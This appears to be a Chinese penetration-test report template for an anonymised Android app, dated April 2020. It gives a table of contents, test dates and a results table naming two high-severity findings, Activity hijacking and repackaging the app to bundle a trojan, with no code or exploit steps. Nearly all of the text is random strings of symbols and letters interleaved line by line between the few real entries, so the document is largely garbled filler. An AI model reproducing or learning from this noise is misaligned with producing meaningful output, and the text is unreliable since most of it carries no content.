' T! ? `- Y. X1 K3 b
1 M6 s6 j# H3 ~$ Q B
& e/ h5 N6 ^! F6 ]+ J
( O* C# P! \- f! b
! A* `2 T- t- A6 N6 h8 `8 |# p/ l) x1 D7 L7 N6 ?2 {& l
- M9 b" z1 X! i+ I3 o
3 u1 M+ H& I. k* }5 n: \3 U+ X
6 [8 ^- W% [7 L4 }( q: m6 ~
8 Q& o* H. N0 A9 x& J- G+ V + V$ f& ]" a. G- Y W
% Z# r9 l7 q: T2 Z
文档编号:
/ H1 S5 r" j; P( t- p+ ^; @; ]% b U
/ A/ x- ?5 c5 d5 f5 R' _8 y2 h. G* r; ~5 s5 h4 L# J# G- ^/ J( X
$ Q1 L4 t7 o. g+ T6 L% C6 W9 S& [/ w% Z9 r" u& |$ Y
5 _/ c9 h$ }9 b# |7 B1 _5 z
1 \* U8 p# c4 Q7 }
% p. {& B! W2 \7 @
3 `0 I) t4 h% @! ?4 T
9 R- t- e* B( A9 y- m& w/ u9 K, P; M0 [0 x H. m' s" w- k
+ A9 E! S' |5 [, |9 w$ z
5 L; e7 \2 }4 p! h, _2 q7 h4 `
2 P! G0 {# @% Q2 O! w: ~
! N& \8 _1 F9 }8 r ! J- k) u1 W: v1 `
4 h% R' d" u$ U. n: c7 b
8 j4 t% l) t' ~! O9 ]; _+ m0 w! h( ]4 W5 \& D
# m3 A+ X. k1 |# K* r$ r: x8 |. N, q0 m' C) l
$ S1 b F. F6 f, ^# k1 o: t! l8 v+ P0 m" V9 R6 s) o9 j! z2 w
4 r6 h& y3 p9 I) E M, `$ @; x9 e' Y( y" C1 |$ _$ z# f
$ E# \; W. a( \0 C C7 K7 y d2 R" z; ~- u
6 m: p9 b( K+ a* C6 ~
) u W8 o3 @3 m5 D f6 F / I u6 U/ Q1 f2 N! y: N
8 _( D; l c) _: c
! y1 s& y' e# J- N
( K; G1 P/ [6 |( J
7 e" U6 c. q9 ^! y) t) K5 E! _( A3 R5 w' Z9 y- k3 u
某某某APP渗透测试
% s0 V! v+ K& w) M, G+ b7 t5 R, R/ m3 a, h& Q1 ~0 W5 Z$ E
* d. s3 H C0 k/ {+ B( f/ t% q$ b7 G" }. E. i5 B' r* f
* s' t+ U* E& L1 w; u% I
8 @! W1 {- W/ v/ ` G, I# Z6 e 6 y+ w6 ~! Q/ e5 W5 A
A1 Z0 x @& |8 I
9 I9 b. T; I/ U% V- C
0 Q; a( A3 I: r5 F 7 D$ N2 Z! a: }1 V3 a& n
: T! O; N* s3 Y ! Z0 l, S$ s0 o, ^
* }. w1 D) |! B: O* C6 |, Y
4 ?+ R8 r3 q( S' X7 {) P( u+ z! U( M1 V4 d4 f
5 v- k W f7 H
. Q3 i8 O& L7 R! F7 Z3 w% x
7 i! O$ ?5 c# y$ P0 V1 }& o( {
' g1 ?) N. f# L
- s' f L8 i/ h( L) W9 v, V. j( {5 R @2 S
4 Y) v* B& k" I+ F( i/ o
C; F# z. @; ^9 h" S # J* x' D, X" g4 n
7 }7 b9 }2 l: `! C: o* h1 {
; Z# Z# i) W( ^% J, `0 a
& Z2 v v* D. d3 D! W6 D
2 B, Y2 m) h/ n5 }/ @3 k2 B0 u, b4 V8 C3 _$ X, J) r: n+ G
技 术 报 告 # B1 G9 v h, A) C$ X
2 H4 U+ a# [& K f' V& @9 w
2 K& S. c }. c, n, ~! L; m( ?
1 O# @; S6 ]$ t8 Q* P7 k1 x
( G% }; ?+ K8 L7 Z* `2 f( K! l
8 b& Z% K8 z f4 w# R2 f* g $ r7 H" P4 h' x$ x }3 }
- L3 f c I1 k$ \$ c$ J# @) @
9 R; Z3 ^3 C x- S2 i5 u: ]; ]
8 H* c) C5 E0 b Y6 r7 y: [3 O0 v 2 |, M. A$ G% M% G& k" s" }% F; f: P
) L* d* u- i; G* l( f' D$ j
1 E) ~8 h6 V, [* F
- m, v6 g$ n6 X, ]- a+ S. X4 B
0 @2 Q6 x: u' ^- n: [' o% r2 V$ a. S" g( H# h
6 {/ P. w% z# e; v3 |/ y
3 o) r P* q+ ?+ y" N7 M9 e" L
l6 C$ n1 @" V: f* e1 ~
7 L7 J* H V. z) l( m. W
: x4 ~' D6 R& S+ z7 ?: m9 x
- d1 _' K# A! J! ]% @
0 J/ h0 V U) W: `7 K
2 k- e3 i# T8 Y! @( K5 J
' J/ f* D: X3 ~& I6 ^ i& U4 j; y5 v9 @: i, S. T
" ~; G; ~$ T* f
, R3 T! R* M) x+ B( w ) y8 m) Z5 X( u5 a. D4 D
6 I" T* O" C5 K& r: r+ d! c
- Q3 P R B7 S' G, ~8 q5 V/ o7 |/ }& _- j2 N H8 r! V
% @2 s4 L3 u1 U% m, C
. V; h7 d% N/ W
/ h3 [7 d8 \! e# F! S/ u, H( d1 @! B" l1 ^
% N1 H/ `# o- k) x# w1 D1 x
- e, F3 q+ b' ]" `& w
; w/ n; z# m) e7 @) T
) y( n% H m [' r4 D% u6 X
; E+ z4 u3 m: F0 o' g. z, X2 w6 r
2 M' f+ A! v3 e% L) F u4 w( W( m$ S; r
) H6 p6 z& Y' Z7 |9 l- H4 W5 w6 ` e% P! m# u7 w8 V
0 a- x7 X5 H! E8 M& t) ^# E. ~$ M- i* H# A$ X$ r
. y6 q* G- r( Q, s8 Q* d8 ^: W
4 ~$ \. e3 |6 H6 S
6 k8 a# |5 n# L% t
+ p0 R3 u& g3 @% e+ }8 N
+ A, f ?1 s# E
" x! w+ L6 `! u2 |/ m! H: C! y
0 E1 X5 m$ y. m; O3 }, C+ V1 f( k
5 e3 w, i. n( [: R1 x+ X
! F& r, C& m% G
$ Z) ~( j/ @7 i7 s6 s. k- r
0 z' G9 U. q6 s, _
2 b0 x1 E" r$ M) a8 h) h- `7 X 2 y0 W- [* \) n7 ~3 z
( C! [+ y, s/ b3 S2 N+ c, V! Q" u6 G
5 G9 _, H& K! {# o4 t( X# O
4 J. k3 X3 d2 l0 { 7 d% l) o/ c& W4 `$ P$ Q" b
' w( X* u. y8 ]. Y% W* y8 ~8 g" y, q. g " |' I+ r, j1 J2 N$ _
. L m3 g* g9 Y M/ p0 e; a5 y5 D
7 _! k; G3 Q( c. a w) M# Z ]
* b% x3 o+ ?; t8 Y1 e1 s) s) ]
0 o0 Z: K; _% ]3 B( i0 O* `3 S
' e8 u. e! ?, N
* F2 v9 M! e/ w0 a) f
( I- _$ p( J$ M" P, H
1 t7 L- K$ A/ b; w& z' b" I$ {" |% [0 q
y U) l! E% {; }3 f
7 C4 I( m# m3 t
4 t3 X+ `/ H* L 2 ^: o5 f; ^# K( j: @
/ ~7 {* V/ s. X# R# S
* O O; L7 J* k. r7 b5 [
/ F, h( l# L% e4 a. F+ A @$ t! G
! V: {7 O7 ]- N: x" K
. }6 s6 u* I6 I- H* u
; u; f! r- \: N' }8 V: B! H$ j; Y
! n m/ n8 W, x; p4 \# F/ G
, L- Q/ M' {) @# {, E8 d
$ T4 |3 h% p* c$ Y
- o F0 m+ q+ R9 P; }* _2 j! u: n
# e+ H/ S. `) Q) J
8 H2 e7 I" } t7 _0 Z3 n3 S# s4 f; [8 c# x" `) S, l
8 y7 w, ]- ]4 h0 A
: O$ i# V9 a' a6 S % `1 W5 l$ c+ S3 _5 i; S R8 g. U
0 v- d5 ]+ u: |6 U; r
2 J. o9 h8 K% m$ S' y. f
2 b" U2 F3 ^7 S. V
; m# [1 p7 V# e& _/ L
& \+ p& y: |7 }
9 e7 I) H. ]0 n0 F! X
6 I5 }) G; ^0 s" v
6 S' R! s a1 Q( V. p1 ~
2 V/ r6 a( l8 x% [, j7 u' ~( O4 y
; F$ T5 s2 b( d
! m$ ~5 S: P. n, u# j! u9 \
' v0 O' O8 e& I0 p; w
: A/ R9 e9 n3 X6 Y
! b u+ n) D! O. {, k- s5 V- `7 `6 l' G/ j
+ f: Y% L' A- r/ L" b8 B
/ ~% P N' u. I9 l7 Q
2 D' O2 c* t/ ?% X% ?0 J9 \- d5 L
( z. T7 w( _# w. C6 C& @
二〇二〇年
- ]& H s: [! c: o
( z, `! | B+ c, N, x
$ [7 V6 ?4 Q% {- \
: K6 E2 g! O3 m1 B! K! M' L
, {2 `4 ^" U! t3 A; {, x( P
* _. ~# \( `$ W' F1 e+ ^, M
2 y/ X, X4 n, q3 z2 E$ R' R6 ?9 |4 _7 ] k. Q$ f4 \- n
& b5 ]+ m1 p4 }) | x8 n0 O; g0 k/ I% v3 h' z
$ l! _ N) G( f. p$ G" k2 \6 L
- O0 \ ~. L) E; V, Q
* y* b8 A$ i) _. Y0 Y7 ^7 ^
4 S' G- E0 L) L* l
! U' T- [/ y! R+ p
6 U* U" f: A! R' a. H/ {1 V 8 {+ C( N& Y% X* z- G; S( B
: f% K) r ` w$ g
, O0 o) s' I+ ^
- G0 E) p5 u; V1 f8 ]0 f
4 N* G) \$ b8 B, I0 l9 P2 {! @' _
: b( l4 y( {7 j 目 录 * j+ A+ a/ {3 b# l
; |- L8 E; c6 z6 Y
# v" Y7 Q7 ]# T! v- T* v: f, Q; Y, H' R5 [
9 I% W* z* f+ d7 `
e! O# U8 O* S! f
$ _+ n& C3 D p0 }5 ~& c$ |$ X% I" `1 F+ P
+ V$ y! q) I3 B
) w1 ~ T: B3 k7 o) f
5 e$ S2 F) V2 S$ k$ W1 U- G
2 o) o8 J2 c( d
& \9 f3 v1 k& g( n7 f. S
6 Q4 ]3 b) U% y+ r; X
1 概述... 3 6 v# E' f6 b/ W1 b$ g7 J( Y* a0 G
1 j) y. w. U# E& O
4 ^/ q6 ^ o C# v/ Z( A5 b3 P! W" b. ~+ g* G+ O' D+ T
f/ B( u, Q+ C9 s
8 T% |/ M* G* v/ C6 o4 d
1.2测试时间... 3
9 g% y5 p, y h* z v: j
7 g) V' Q! {6 K& L4 b" z
, a; ?. i3 ^7 Y9 ^1 a3 g
5 j2 S7 G( c i. W3 @
) B4 W$ D! [/ }2 x2 x* z6 H* S! {. b: [1 H I3 N: ]; S& E
1.3测试对象... 3
& ?8 e. G3 Y! g& k9 U0 e% K& Z7 u' _! w- ]
6 j d: }6 a3 [* c& k
8 v l E9 p+ J3 M) W
& L- F& Y% V" O8 ]' e$ }% I/ O
+ j) W' Y5 \! ]- {5 `) v2 E 1.4测试结果... 3 / }" E% ?+ F0 }# L. `
: g, s) J5 Q) `* ^8 a2 v. F1 K: ]
3 R7 N. [( A1 e( L& O
+ y6 w1 G* T: X* y
/ W: G l! H. P- A& V
" i$ B/ \0 h% }/ ~4 c$ T1 T 2 检测结果... 4 . o/ K' ?* M, M. a$ x( O. L: R
/ L9 _3 ~2 m& T/ G
0 D2 e4 D2 V. w+ f& u
& C7 Y `: z: r! B% P
+ n% Q r. Y) r! j) e
; D0 c' p. a3 a: X3 x 2.1 某某某... 4 . @* s; g6 y+ L2 [+ O a0 w# E
3 y& [ S6 x) x) t$ `. f
* q* W- b6 D3 ~* Y$ a4 [/ [* v/ \# q, }, _6 x* e
; E/ P' E9 z7 Z- T4 M0 O7 a; b' n( F2 u+ a! r# G; k0 T! H
2.1.1检测目标... 4
/ ~" A9 e4 m* M% u. q4 Z8 S4 a' C5 V- Y& {2 w/ u" s
% v8 T# i, k# }- t. x3 h1 H( V& X
( O# A0 R& p# N2 q* O: Q `6 y
6 q Y6 M0 {- }1 \: T6 G4 t/ ~* f" u
2.1.2检测结果... 4
: Y& C5 E: |( t; |$ I3 ^' e4 n8 Z+ I, g3 P1 T! u
' [: B/ X! F( m0 q7 h9 K
1 ?4 P2 K: d8 r' q: X! _( c
, \' x& ?6 p, G% C+ K% e2 E0 N: }$ v* z5 ]- T& S
2.1.2.1. 4
; h( b9 O3 u0 C- r' k7 N; B
) |# f2 f5 H1 _) G; k/ H5 q- N
* d; i& @. m4 d* }9 H$ f
. L6 b& c* Z# a( Q$ m, @
; Q* F0 v2 K0 {( S2 s/ y( k2 G8 E9 K- e+ s4 x8 n4 Q/ O! J
2.1.2.2. 6 ' m5 }. b \- X$ `
" [8 x5 d- m: [1 z& M1 ?! g
# P2 m5 z& {# S( ]
, S( e" v8 U, [1 }) [" I5 h w & l) J; y& F; S0 r, }8 `& ?
2 w! E1 C- h0 k6 u% I0 M7 K
; A3 H, }+ F4 E; F% p- K# m+ t/ A1 J$ N) R4 G! [
/ K* V! f$ g" n: r) D% x! B( [, ^9 u" e; Z8 P" G* i) g. s: C7 P
2 s6 q" v/ u2 }6 Y2 J
3 J4 S2 n7 _3 u$ A) K |& l9 u" |
/ c/ G& C) M- d. x- L3 K m
* E0 O" _9 K% @5 S4 i# u& {: j$ r
1 o$ c/ Y6 d W+ N6 r
: l$ N( m5 L/ |2 }1 m! H2 Z* d ; k" J ~7 v: Y U& q3 H5 A& i
3 t7 @: K4 S, \. b( u
& Y$ u9 ~ j/ L5 \4 E- I" b
9 N$ F5 t1 Z1 [1 v& | 1 概述 1 o9 h0 b% O8 ], X; V+ C( ^8 h
) {9 Z9 |5 i% E5 h
# a9 W9 H: N3 i7 i( m% _6 X6 i9 R
0 e8 J* s A9 C! E# }3 W
- H4 |) e7 I5 \8 N5 c2 |3 e* J) }
1.2测试时间
; T- O1 f. J& j9 g! z! t
' t9 p6 @% u5 }" X) _$ F6 m& `
" ?5 n8 D% Q J+ }$ G% _
6 C3 ~& i1 M+ Q% H5 `1 Y( s % a' v2 i( m" y+ b5 N4 y' {+ x
, t: E( y2 E0 O/ A" q 3 Y9 O7 j7 q5 ?6 r2 u% O
% @2 S7 Z5 J1 |7 S7 t3 o
9 L* |. p5 a& G' X- T" o
9 B {" A! U' o* g% C
& R8 @3 A: I6 h* D1 A+ X( j: v3 c5 n
: o/ o! S3 C# m- K9 | ( R5 E+ O% B1 B& Z0 i
8 u' G- b. z! ]) h- h5 b
渗透测试时间
9 `/ P2 e/ b, F4 c3 V& H, V4 ~$ X- A: x
: l6 }8 \! C$ x% {) x' i1 e0 h0 {. N6 V. j
| ' v4 {. w+ ?. y6 t6 G8 @, d
+ p2 Y4 g, u0 z7 T7 [( `7 {
# D- s2 E7 z+ Y6 y, U, |- [- P
! |: l5 o5 H8 a) @
! i! T; o/ Q! x$ w: h. u3 _/ z6 g5 \" K' {& X4 M( ?
$ l$ \5 _6 \: c Q' c; t
3 [. Q4 l# [# t8 f4 b 5 P6 w" g! }$ [1 Y
( f- R' Q3 u4 F" p5 B' l8 h
起始时间 - N6 M% r7 Z% R) A- x* i6 b
) m. C5 x- G& P0 `, a ' Y3 z8 c) A9 X/ ?- t
$ V7 t' L" H: e |
. i" e- S' t* Y# Y( j3 I5 z6 T: l5 {/ b
3 e: z# a3 s: ~: Y
: a$ `0 Z3 ~ A/ ^' S ! C6 H2 }3 c) A8 ^, ~9 h: u( o0 C2 L
" q& s: O1 |$ E8 L 2020年4月6日 * ?: T# N+ @4 j( `4 ?( Y% C: E
( w; q# T# E* m% ]* f+ N/ l
- l# L, R2 q7 l: e; z3 y
% @% {% ?( a. J1 f" ^! j
| 1 ]. A' c2 j+ P1 t8 I) M8 v% p
, S2 p& q9 | q% G) O/ R
& H% ^ X. S6 l; U, j
, `, z; L; C$ D5 A- v. z( }# t
9 ~( \+ V. e+ R5 Y* \1 l) a
, ]+ F4 h9 |/ i( F) P
6 K5 V+ J9 ?/ D) K
- i; W* X/ S# r9 g; a
6 o) o3 a* G2 R+ {+ @" ]" o
% U. U6 t' M m" e5 t6 X1 G5 k 结束时间
% [) W# c/ Z* ]5 P3 Q' o2 M
5 C" {& c }1 A; s
6 _" M8 p) a; G! G
+ u V% O$ I+ q. Q$ G/ L | + j1 N8 w& ?! b4 E
# z% e, R2 W/ [. P' L0 `- W8 y+ p - y0 E. P! r O3 z
0 O( x0 P3 R0 L+ T1 \: F" D 6 F- d6 t! j; X6 M
. S% q0 ]$ Y' O1 \1 A# B 2020年4月9日 - R n* O+ o% ^) z/ k6 w: F3 C. l
! |7 Q" c E& l$ `* G e' k
/ C& x& T3 |% K9 M' e
! ]2 B# z0 q# [( C" y& ]" X( ~ | + j2 [9 [8 H( G# h" M( H2 M
8 r) \4 o" p9 t& a
' B$ ~: w, s) U! f) C2 }) e
9 p7 Y- Q6 l( r$ a& N
; a, F4 {, X8 }8 p: w0 [
: `* w: ~' B0 w! I( l2 v
$ Q6 c H# d- _' ^
( {, O+ l4 n5 a4 n$ ]
& H+ T1 d" H9 w. u3 V3 f: X: b6 w& w3 @. N- A- J" i
1.3测试对象
9 |) ^/ A. k6 \, E# z( J+ t0 |; ]( l" y3 j6 A/ Q* X* {. u# [5 K4 A
5 T. I, \% L& y
2 H% P2 U( Y7 I" V" x [+ d) U3 I' B0 q; ~
( E- _# K$ V8 J' F9 d
, ]# ~) j, R' ]3 n/ { 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: , v% v* u, S' }+ p4 ~# {2 i" t
( x9 N3 ], ^1 @' o$ [% q1 H
# p) y/ B( p( W' e
! J7 r3 }5 p: H3 I* @8 |" t
0 e8 \7 B: v7 I8 E. R* O8 b
6 L& ~! y% n! Z& t 表1-1 检测对象
5 s+ M4 T. a s, w! B+ U) \+ M% D* g7 J: K! }
) a* p. ]) T9 m/ b
: T. i& T& z; f) N5 d* A! N - S6 s- V5 p5 k" j7 s6 `$ t7 I8 o2 {& W
4 a8 \; j4 z9 T4 e& f
/ W: V: S5 I! J! w
1 z/ i9 i, n4 P( t# }
, S7 t4 @2 y- b1 R# z3 A) L. h2 p0 @1 [/ f& N# A) d8 |
) w/ N! D1 Q9 W* |) n
! f) }( q6 ]& q( B* g1 R0 T" F
. j) v- s2 p, o! M& N0 a- f6 Y' J9 e( L2 G& {4 |; l- S0 Y' p
序号
0 k* q' W2 W" U1 I* f% s+ U1 Y& F6 I( T! P/ R% S" J
9 G( L o3 M3 C$ u
8 ]/ f3 W: v; D2 Q. f, p u | 8 K1 x8 t, Y% M G
9 ~" n9 [4 m. S7 o8 ^ : i. ~: ]) O) Q6 f" ~. t. R$ y
6 o; q$ S$ M2 y; e
& z' L: o9 P; W
0 r3 I* ~, v7 @. `$ u 测试对象 6 P9 d) [* U+ f8 l1 _
1 x: ?4 f7 \# R) u2 G
9 h: p' u2 ? r/ f- l
\, H1 K4 O: R4 s, c# u" H0 p | , p2 D d m% m, S3 y' `2 M* N& D4 ~
1 o0 F# F* s' I1 z5 u' x6 n $ i3 q, a! h; H5 Q
. Z: n F9 D( k6 h: U5 A7 B I % b8 l9 o7 @1 F: m% }( H0 u, _1 L2 t
5 J! Y, L1 K- x2 s% o' T 测试地址 2 ?6 D' }; ^: b5 |
3 A# A) E! L# } U% v+ X , D# Y E- | R' ^' J& n
9 N$ D- z1 I: D+ |5 f
|
3 h s0 e0 j" K$ A4 w# N0 p
3 |" Z3 o7 x4 Q! w* k5 }& B
# t3 y0 {- g8 D, ^1 z8 O5 Q J: p
5 l( Z0 O! l* b0 F$ e) @4 O
0 J% D6 [7 ]1 i) h
- q) b( C6 \ i, o3 c& j; `/ t 安全漏洞 3 b4 ^% J* v6 z1 u
) O6 l$ c: \' X! ~- `
) Y- D/ x/ n* c& i2 L* y. Q. o! `% ^; @' g3 V/ j1 c0 I9 R
|
# _& z8 G4 r' ~- A- w3 t" A- _1 a3 ]- I8 ~
/ H" K" q* T' ?( t
, } a, U! p0 ^! _& I# |; W
\2 v7 G5 v) E( K6 F+ I7 p% d0 {7 W0 b
: i5 U) t y0 a' V4 S
6 h/ @6 S0 F: p2 B- D
$ c0 p( H- V! G! d 2 i: M4 `# S* M5 u
& A; O( `3 z" ^: z" x) ^ 1
1 E/ _- f! V1 A' @' z. S5 }) M' f( x7 E. B x; L6 ?
4 L8 B9 {/ J5 [+ I
2 V* _" n. b- W
| 5 j. d8 j; P" M0 J* X
* N1 x; {9 Q- G2 M Q
+ U1 N3 K4 u3 _, B2 I2 T
@3 ~" R5 k6 J: g3 l
% |. `6 R+ s6 v! R
0 D% f! G$ F+ }9 y: R6 n& l 某某某安卓APP
% X7 L! N0 S( ^$ `: { K7 J. J U) M+ T
$ n. x6 t" I9 M d
! Q1 h% o2 R* ?; K' k$ w$ e1 c | 7 }. a3 ~5 | y* T
! Z9 S& A% m! C/ [! ^
+ Z+ p0 l/ Z0 e5 i. t% `( [7 f/ h* E. `
- m% r1 a% Y/ F8 Q8 h. @& T
3 r: D+ K. X5 J$ H3 x% O! F
$ K2 F) r% u% p- ]) L9 g) u+ H* b% c& }7 d; d5 e" O
: P( w/ X; f$ X( a" u6 t& p& b
6 O; P6 i1 ?8 f1 V- {* \ | # B; z/ ^( Q. e# }- f
4 I# k' @# u0 @% i, p
9 N* ]% w8 E, x+ O
: h, Z8 r% @ S- O
# _, J: l9 t7 F ?
, u0 u! m& D$ _ 2 ; z, X' `5 F" T" o0 n
5 X; \9 b Z! a( w, r9 m
! a( n9 l$ }& k! n% r! G+ b
4 d7 p4 t; H% ]. E# ~
| 7 t+ E) G6 Q1 Z$ j
! U `, ?$ v' y+ J
' k1 @; E+ Q% N2 o5 F6 V4 F- g2 {" ?7 D6 c4 Y0 J5 W
1 S" j" o' B. U# L) ?
+ r' Y( r! W, `
# v2 G* a( F- `; q, n4 m* ~. {0 D |# y, h
. Y6 Z1 M4 g! @1 Y- v3 V
0 S0 k/ R0 j7 v7 p* g# N' C& a 1.4测试结果
. p: n# h2 x d/ c; w" J" j; r
2 l D7 L7 }, @ H, b4 _
8 {& _5 O4 ^3 c( K
* o# ]& X a7 U% h' _
, {5 j1 \0 y# J* O" \% h3 y, A/ L. l$ x; P/ e* F
在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: 5 b& P2 p8 E/ }7 E9 a" e5 T
: o4 B1 V3 B" H, |5 a
0 J v L/ l5 }
" M4 u8 z7 i) h; e5 I7 D* `
0 Y) `+ r( q% p" S6 O' E1 t! Q
, ~, F% C3 }! J0 E9 D+ X
0 g0 P1 o$ q1 r' Y( h' ?; [. n9 L
2 ]: Y; ~: g9 y2 b
8 P# Z% G$ S; N" r# K
* l% i9 U8 g0 a* Y
' O2 H5 C$ h, U: h
, R- e6 H% M6 k5 e$ j0 n- c
% ^. U* G; W; f9 R7 C3 ?- j- k; ~, \2 e6 s/ k
5 r2 s4 M# u% d! {9 L1 K
$ j" W. J) b( s+ M
m) o$ \: w& O. B% B: M! Z: J; y6 }$ l: k9 I2 S L
0 f2 H/ P7 ~- \8 L- i! u
( L( N; G# K/ V% ?# X& r+ X; I. e ! _* S R4 v& Q- O# U% T7 D
& X8 X8 M a( W3 J0 g& {! g# R# h
序号
3 `9 f9 }9 ?. v8 ^# ^5 [: M( {* Y& R, p
7 Z7 ?$ r; s! m$ z4 O* \: _
( P, x3 i7 O7 M |
( b4 J/ m: h* L8 Q5 \0 w/ X- C! r( c7 S Y% ^. t) C
# J. l4 f$ c+ W) `5 z
0 i4 m6 ]: x y% k& J) U , A3 _% l* ?9 \& y, f2 L3 `
; w& [$ g! O% X! D1 ~ 系统名称 , m, m) f; V5 n: v6 P! V: {
8 I5 l5 \! F& V
, ~' c! g8 A8 `" f1 q1 T0 @$ t' H1 W, V6 {
| . ~) o' n' c% e, B2 k5 r
! D1 {+ c: k% V/ w
1 F& u1 ~/ E+ c) {! a* n& w# o1 i
8 H, C6 f3 {9 n, W. m# `9 \; l8 f- S, @
漏洞名称 + a: {, @; R" i' m0 Y5 }1 `& @, }0 _3 o
7 r: n% x9 R0 Y8 L4 u8 \7 k
0 R+ m& v# K+ l5 a; I8 E+ r5 i# K
| ; K6 |2 c! l* L
) W* ?! f1 X1 I8 s. ~& l3 i& H+ F9 F
) r& t) ? @+ W, v
6 t) B7 b2 A( g |9 g6 v. `
% B8 L# K+ {. s7 X+ \. l: S9 B' `
漏洞危害 : y* R# N' V9 g5 c$ S9 ~
; W7 p- A) d' p7 [: M5 n+ B
6 B/ J5 ?! Z, s2 b
" l5 w1 O3 U4 O+ I/ z/ p# c/ W+ U) i | 2 R6 `1 \2 Q* U( u. K# Y! P8 o* g
- H3 ^" [) C' \7 O l5 H/ X
0 c* K0 b& ?! m% X. U4 _8 M3 Q# D$ L" y6 k7 Z1 {
8 p; R) ?( e6 _/ d3 @/ h- P& ~1 c& H
5 ~0 O" a0 [" ~6 a$ j) o4 S 修复结果 2 r/ M9 R u1 P, _) S; b
/ t% ^ v" F) ~1 q8 ?+ G9 l8 W
+ V+ T7 c1 T2 Z3 B
6 \; Z1 p9 g1 [, f, ], }5 ~
| 0 Z+ e+ s2 ?# q, Y, `; y
) H3 c+ G8 D$ ]- K! C$ H
/ u- P& }# @- B' d* A$ b; d& F+ { w% d# a8 a& C/ B; _8 D, K
o9 S/ Z: \6 Y6 t0 p8 R
) N8 S+ m9 I/ Z4 T4 v% O5 L
: A9 O/ u& t& I7 q/ r% s- X6 J) e# o5 _
* R- F9 H/ k8 {( v
$ ?9 g* u& M: r1 b# e/ k& Z1 y: V 1 % o3 M' c% c6 U ?; c
( t- O4 f! n/ m6 ?
( t, Z: R9 z; c. _( X1 D
% m e5 z5 k; N& z& s: U: d
|
' H4 n$ n4 ^2 F7 b5 J$ `; Q4 ?2 j) e' P O0 h$ j: M; J& F1 S0 W7 b
/ z h% f; b) F. S7 W
' w4 b7 b# X ]% @% y
) r2 d7 ]- v9 H' C8 D/ @4 M/ D" e
某某某某某某APP
+ n( R- A* P3 j* N4 r. ?: k2 q6 ~9 r- G1 a# x
' [7 m! b6 v; Z& l% d- u3 ?( F
" t G( f3 ?1 l* n4 X3 [' _ |
6 \; G3 m- ]' Y. u
3 M+ \( }: v% |" z J . ^( X$ M7 |& v: t7 J
( V8 h4 _, G+ t2 }; Q
2 x3 B5 j9 w: K; X) Y7 A# K% t; c" D6 N* L7 W: [# X
Activity 劫持 # V5 Q9 y. |0 m3 ?0 {: f
9 ~, M8 V: h5 z+ Q& t$ V
3 d& L, j ~* t7 O* s
7 U( }7 |/ |! s9 d / ~% C; {) C7 O' y4 I e2 V
1 P2 x" {1 U1 V9 E( V6 J6 J; i
$ p0 S; C u% F
: y1 d6 B, g9 M* _: B% h8 d
0 x- q; Z$ y5 Y: Z
# `3 _) n* Q5 }) B9 [$ } | 7 |9 H; A$ S9 s& d, e
+ [6 X% j' d9 \4 w) e* I
/ ^" z5 B1 R. k+ p7 |
3 Y3 ]# T3 v1 ` 5 b. p& h$ U+ f& M3 Z+ q' F
5 Y7 I3 I4 ?0 J+ p+ s" Z
高 + H5 L. g7 U6 y
6 r; U* z: x" _) V - c- E0 ]9 m3 L2 d( p
5 R! x* C2 L4 O, @0 h; S7 b7 H
|
" K- _ w, n9 t4 D
9 [( Q# e8 O/ Q% t2 U) Q
+ @& n; G, f+ J4 ?
/ e+ ~; e" [4 ?7 e8 q+ N 9 h( K& P* Z' \8 O, s& f
. f6 s$ m; z3 T# `
8 D$ \/ c1 E( q! f9 f) j
3 y3 A+ U* j% Z2 O& i5 n
. }, s7 M& ^! q8 r0 S4 Q7 o$ R1 k! F' F, B
|
& n4 b; e \4 O3 d% p; x
2 D7 r) V0 d, Z9 R3 ^7 M7 Q
* J! e- A8 A' w; D0 i
' L, E8 v2 ?4 n" ]& Z. V # X& i6 B# J/ U6 x: F
1 m- P+ \% M @1 U5 I+ q1 a / R% N$ _. _$ {2 I
, T9 Q/ t6 n; y- s. }) V) Z
/ a% ?3 O) m7 J& i
0 J0 x2 q# O( @# c7 W1 V7 ?# o 2
$ e" f# {8 L5 _9 y" }: T: L0 `4 A) v5 g
5 U, F3 @3 R, G) F9 P. v) s 1 T$ I4 |- O# N2 B
1 E0 T1 j: b( Q9 { | % d+ Q* @( i( }$ j" x
/ F+ A) ^* C, q) t9 T ' a2 K$ p1 m) i
; K; A# Q; O2 L8 F, {
, J1 }! G8 h/ x& M( Q7 A0 s/ C8 ]# x
某某某某某某APP
6 Y) h) c1 d6 r) h- L3 p5 c1 k. t) S: R8 x1 K
7 c" Y9 c- U6 X7 e. V1 c" T0 \+ @ u, }3 u; p: A
|
/ o9 E* z+ o, z
1 r& Z' e! Z; O& s9 M! Q : D; w4 p4 L; T" i& u8 J
8 m( ?& b0 ]- U) l$ c ( m7 K' r) b+ K. {2 H) \9 O
" I7 D5 z% e h2 h: {/ ~
反编译二次打包捆绑木马、篡改APP代码 $ V, ]. r8 R: Z1 M; ?, R: I
% k+ `6 K6 y% t' u6 D9 ?3 a
, u+ x- V) R+ t- \: {0 r
( p7 x, f- q( j" i# D4 \$ e" o
| - `& \% G; O. h+ C+ E
( c* Q0 [+ | K" h! g2 I* ]! v0 d
. Q6 T3 _! o- Z: J% y
& E$ Z8 f' a. x: C! y' H" f
' n$ X l: h2 b7 s
% r2 T4 @/ I: H @) k4 E% W 高
" e8 T+ s p8 L* v/ S% d5 l, ]3 [; l4 H, x& {
* u; J* d9 ^! F
' K0 x$ L' c9 ]$ I6 A$ B
| Q! n% s: R& J1 l0 P# S
, G, [9 A2 I) t N: V+ ?
( _/ Y2 m. e" S! {9 E) n
. A5 q6 ]3 M3 ~4 e5 U1 Q - [# h2 [- O- v" c9 ]
% E! w" I" a. C( a; y
w* W' w+ y$ H1 ?0 W, [/ u. o- ` u, K- \. t1 `
' A4 I- T7 r" `; s4 E, T h, f+ f8 n! T: q2 m* ?
| 6 I! P% C# w0 J6 ]1 _( ]3 G( |3 I7 p
% R7 |8 f- H1 I; x. n7 i1 Y
" q Q2 w4 h6 p! @
+ d, M4 {' w* F& G j3 W& i" z; X# }2 y9 G! D
6 L$ ?$ Q( e3 B6 W" C4 x
o/ S7 f1 h* s
p# C' }2 }, [7 J O' b 8 E. \/ x( v/ @! N
; C0 ?) u4 V1 f8 Y0 W8 g8 a / c, @/ b/ w: ]% k" n: E$ A
' q9 b' `1 {; G8 \% ^0 V! j4 |
3 U* @+ z" d8 F: P: N0 E. \& k( i! x
, U# `. y* ~4 n0 I* @: o3 V. K
